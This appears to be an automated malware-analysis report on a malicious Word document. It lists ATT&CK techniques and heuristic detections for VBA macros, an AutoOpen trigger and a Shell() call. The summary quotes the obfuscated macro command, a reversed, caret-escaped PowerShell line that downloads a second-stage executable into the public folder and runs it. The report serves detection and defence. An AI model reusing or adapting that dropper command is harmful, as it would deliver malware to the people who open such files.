MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() indicates that the macro attempts to execute external commands. The reconstructed string from the VBA script, 'd /V/C "^s^e^t ^B^J^1=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hc^t^ac}^;^k^a^er^b^;^F^M^K^$^ ^m^e^t^I-^e^k^ovn^I^;)^F^M^K^$^ ,E^A^H^$(^e^l^i^F^d^a^o^ln^w^o^D^.^qn^K^$^{^yr^t^{)h^b^i^$^ n^i^ ^E^A^H^$(^hc^a^er^of^;^'^e^x^e^.^'^+^I^F^t^$+^'^\^'^+ci^l^b^u^p^:vn^e^$^=^F^M^K^$ ;^'^2^9^9^'^ =^ I^F^t$^;)^'^@^'(^t^i^l^p^S^.'^9^UR^s^FR^I5^y^S/^moc.^', appears to be constructing a command to download and execute a second-stage payload. This is consistent with a spearphishing attachment attack.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6703105-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6703105-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
